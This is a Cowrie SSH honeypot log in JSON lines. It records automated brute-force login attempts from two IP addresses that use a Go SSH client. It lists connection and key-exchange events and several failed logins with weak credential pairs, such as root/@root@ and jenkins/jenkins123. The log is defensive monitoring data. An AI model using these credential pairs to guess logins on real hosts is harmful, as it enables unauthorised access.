{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:07.829843Z","src_ip":"45.153.34.195","session":"57ab53bc201d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:08.265172Z","src_ip":"45.153.34.195","session":"57ab53bc201d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:09.371038Z","src_ip":"45.153.34.195","session":"57ab53bc201d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28202,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd7c01e95b50","protocol":"ssh","message":"New connection: 45.153.34.195:28202 (10.17.0.5:22) [session: dd7c01e95b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:10.410779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:10.478352Z","src_ip":"45.153.34.195","session":"dd7c01e95b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:10.702632Z","src_ip":"45.153.34.195","session":"dd7c01e95b50","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:10.730699Z","src_ip":"91.92.40.36","session":"cb32a7a42374","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:10.734632Z","src_ip":"91.92.40.36","session":"cb32a7a42374","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"d","password":"d","message":"login attempt [d/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:11.141581Z","src_ip":"45.153.34.195","session":"dd7c01e95b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.3","message":"Connection lost after 19.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:11.210369Z","src_ip":"91.92.40.36","session":"b2d837d26db9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:12.341010Z","src_ip":"45.153.34.195","session":"dd7c01e95b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57778,"dst_ip":"10.17.0.5","dst_port":22,"session":"083b938a5207","protocol":"ssh","message":"New connection: 45.153.34.195:57778 (10.17.0.5:22) [session: 083b938a5207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:13.337909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:13.343675Z","src_ip":"45.153.34.195","session":"083b938a5207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:13.442161Z","src_ip":"45.153.34.195","session":"083b938a5207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64858,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f27093b334b","protocol":"ssh","message":"New connection: 91.92.40.36:64858 (159.203.135.109:22) [session: 2f27093b334b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:13.601214Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins123","message":"login attempt [jenkins/jenkins123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:14.086766Z","src_ip":"45.153.34.195","session":"083b938a5207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch1","message":"login attempt [elasticsearch/elasticsearch1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:14.295317Z","src_ip":"91.92.40.36","session":"b8892aabac38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:15.227013Z","src_ip":"45.153.34.195","session":"083b938a5207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57788,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a97e45970ce","protocol":"ssh","message":"New connection: 45.153.34.195:57788 (10.17.0.5:22) [session: 7a97e45970ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:16.304889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:16.325191Z","src_ip":"45.153.34.195","session":"7a97e45970ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:16.414466Z","src_ip":"45.153.34.195","session":"7a97e45970ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:16.795768Z","src_ip":"45.153.34.195","session":"7a97e45970ce","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:16.994671Z","src_ip":"91.92.40.36","session":"2f27093b334b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:16.999517Z","src_ip":"91.92.40.36","session":"2f27093b334b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:17.882036Z","src_ip":"45.153.34.195","session":"7a97e45970ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23964,"dst_ip":"159.203.135.109","dst_port":22,"session":"43e3ef3a4e65","protocol":"ssh","message":"New connection: 91.92.40.36:23964 (159.203.135.109:22) [session: 43e3ef3a4e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:18.553440Z"}
{"eventid":"cowrie.session.closed","duration":"20.7","message":"Connection lost after 20.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:18.784205Z","src_ip":"91.92.40.36","session":"b8892aabac38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57790,"dst_ip":"10.17.0.5","dst_port":22,"session":"225ae293d9a8","protocol":"ssh","message":"New connection: 45.153.34.195:57790 (10.17.0.5:22) [session: 225ae293d9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:19.156949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:19.165359Z","src_ip":"45.153.34.195","session":"225ae293d9a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:19.252426Z","src_ip":"45.153.34.195","session":"225ae293d9a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:19.517261Z","src_ip":"45.153.34.195","session":"225ae293d9a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:20.600783Z","src_ip":"45.153.34.195","session":"225ae293d9a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57806,"dst_ip":"10.17.0.5","dst_port":22,"session":"269349358929","protocol":"ssh","message":"New connection: 45.153.34.195:57806 (10.17.0.5:22) [session: 269349358929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:22.005107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:22.012625Z","src_ip":"45.153.34.195","session":"269349358929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:22.088601Z","src_ip":"45.153.34.195","session":"269349358929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@root@","message":"login attempt [root/@root@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:22.414378Z","src_ip":"45.153.34.195","session":"269349358929","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:23.143323Z","src_ip":"91.92.40.36","session":"43e3ef3a4e65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:23.146745Z","src_ip":"91.92.40.36","session":"43e3ef3a4e65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:23.500385Z","src_ip":"45.153.34.195","session":"269349358929","protocol":"ssh"}
